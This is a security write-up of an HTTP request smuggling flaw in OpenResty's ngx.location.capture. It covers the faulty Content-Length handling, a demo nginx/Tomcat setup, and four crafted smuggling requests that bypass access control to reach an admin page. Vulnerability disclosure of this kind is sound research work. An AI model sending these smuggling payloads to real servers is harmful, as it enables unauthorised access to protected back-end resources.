Author: UltramanGaia
Vulnerability introduction
After conducting security research on openresty / lua-nginx-module, we found that the implementation of ngx.location.capture
and ngx.location.capture_multi
in openresty / lua-nginx-module has defects.
In most cases, the value of Content-Length
cannot be modified correctly, which will bring the risk of HTTP request smuggling vulnerabilities.
An issue was discovered in OpenResty before 1.15.8.4. ngx_http_lua_subrequest.c allows HTTP request smuggling, as demonstrated by the ngx.location.capture API.
Vulnerability details
openresty/lua-nginx-module
provides ngx.location.capture
and ngx.location.capture_multi
directives for sending sub-requests. A common usage is as follows, nginx + lua performs logical judgment, authentication and authorization, and then uses ngx.location.capture
combined withproxy_pass
to forward to the back-end service. Generally, nginx and back-end services will use keepalive connections to improve performance.
This involves the implementation of the HTTP protocol. We know that the protocol specifies that when the http request contains both Content-Length
andTransfer-Encoding: chunked
, Content-Length
should be ignored.
There is a problem with the code implementation of ngx.location.capture
, which causes the Content-Length value passed to the backend service to be incorrect, which leads to http request smuggling vulnerability.
ngx_http_lua_contentby.c:ngx_http_lua_content_handler
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture_multi
ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest
In c code, the ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest
should call ngx_http_lua_set_content_length_header
to adjust the request header Content-Length
.
The code is as shown in the screenshot above. The first case will recalculate Content-Length
according to the body, and the second case will setConent-Length
to 0
. However, the third case does not modify Content-Length
, which is a problem here.
Vulnerability Demo
openresty 1.15.8.2 + tomcat
nginx.conf
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
keepalive_timeout 65;
upstream backend{
server 192.168.83.1:8080;
keepalive 32;
}
server {
listen 8081;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
location /backend {
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_pass http://backend/user.jsp;
}
}
}
We use tomcat as the back-end service, and then we deploy user.jsp
andadmin.jsp
.
user.jsp
<%
out.println("Your are normal user, method=" + request.getMethod());
%>
admin.jsp
<%
out.println("Your are Admin, method=" + request.getMethod());
%>
By design, user.jsp is exposed to the outside through Openresty, and external access to admin.jsp is prevented.
With the request smuggling vulnerability, we can bypass this restriction.
test1
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
We can construct the following packets that reach the third case, resulting in a Content-Length
not set properly, resulting in vulnerabilities request smuggling
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
You can use BurpSuite to easily construct the following request package, and don’t forget to remove the checkbox of Update Content-Length
in the menu.
Below are the requests and responses captured by Wireshark.
Here is the request packet for Openresty to interact with the backend service.
test2
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
For a POST subrequest, if no body is specified and always_forward_body is false (default), we can construct the following request packet to reach the third case
GET /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
Below are the requests and responses captured by Wireshark.
Here is the request packet for Openresty to interact with the backend service.
test3
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
This configuration does not explicitly set the body. Using always_forward_body, you can send the following packets to attack.
GET /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
Below are the requests and responses captured by Wireshark.
Here is the request packet for Openresty to interact with the backend service.
test4
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
This configuration attempts to get the data using ngx.req.get_body_data
, and assigned to the body. We can use the Transfer-Encoding: chunked, length set to 0, resulting in ngx.req.get_body_data()
returns a value of nil. So attack packets are as follows
GET /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
Below are the requests and responses captured by Wireshark.
Here is the request packet for Openresty to interact with the backend service.
References:
There are many ways to exploit the http request smuggling vulnerability. For details, please refer to the link below.
https://portswigger.net/web-security/request-smuggling/exploiting
Patch
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com